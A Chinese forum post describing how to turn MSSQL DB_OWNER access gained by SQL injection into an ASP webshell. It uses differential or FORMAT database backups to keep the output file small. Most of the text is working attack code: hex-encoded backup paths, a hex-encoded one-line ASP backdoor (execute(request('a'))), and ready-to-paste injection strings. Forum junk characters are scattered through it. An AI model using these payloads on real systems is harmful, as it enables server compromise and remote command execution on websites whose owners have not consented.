DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
) d& H% t( C- W3 E
$ H6 S0 _! H+ A% R减少备份文件大小，得到可执行的webshell成功率提高不少
/ S' o# U: g+ g  u7 I$ l一利用差异备份
2 \; ?. c. ~- j; f% r加一个参数WITH DIFFERENTIAL
0 U  K- f7 y9 v% W& F
1
2
3
4
& \1 f$ l( ?; n% Z9 m+ ~$ f declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 |" I, T$ `9 J$ l4 h4 @create table [dbo].[xiaolu] ([cmd] [image]);
, y, [0 O; B" N/ ^insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 F# d/ K2 O- ^/ ^) Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
& {  d# P+ c( |1 i5 j. Z4 B! b" }
$ @, y7 s% O& Y2 a* J1 G二利用完全FORMAT
) m( |; `8 L4 y1 ]加一个参数WITH FROMAT
5 A, [/ C7 w/ O5 a/ d7 ]( F( q有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
2
% G5 F5 a' O) ^+ J) }3
& t8 B: e& U6 N, b+ B2 h4
* D/ \9 g( _5 [ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 T% c; R9 t6 r* A/ V: U) ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

+ ?5 T$ G& `! X. c- F总的来说就是那么简单几句,下面以备份数据库model为例子
! j/ B, U6 z2 E: o* }* |) I  ~( G1
3 Y9 B- u3 C- q7 D+ W0 b3 q
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2

1
id=1;backup database model to disk='你的路径‘ with differential,format;--
3 R' z' N5 h% Q3 C/ V. T4 P) K8 `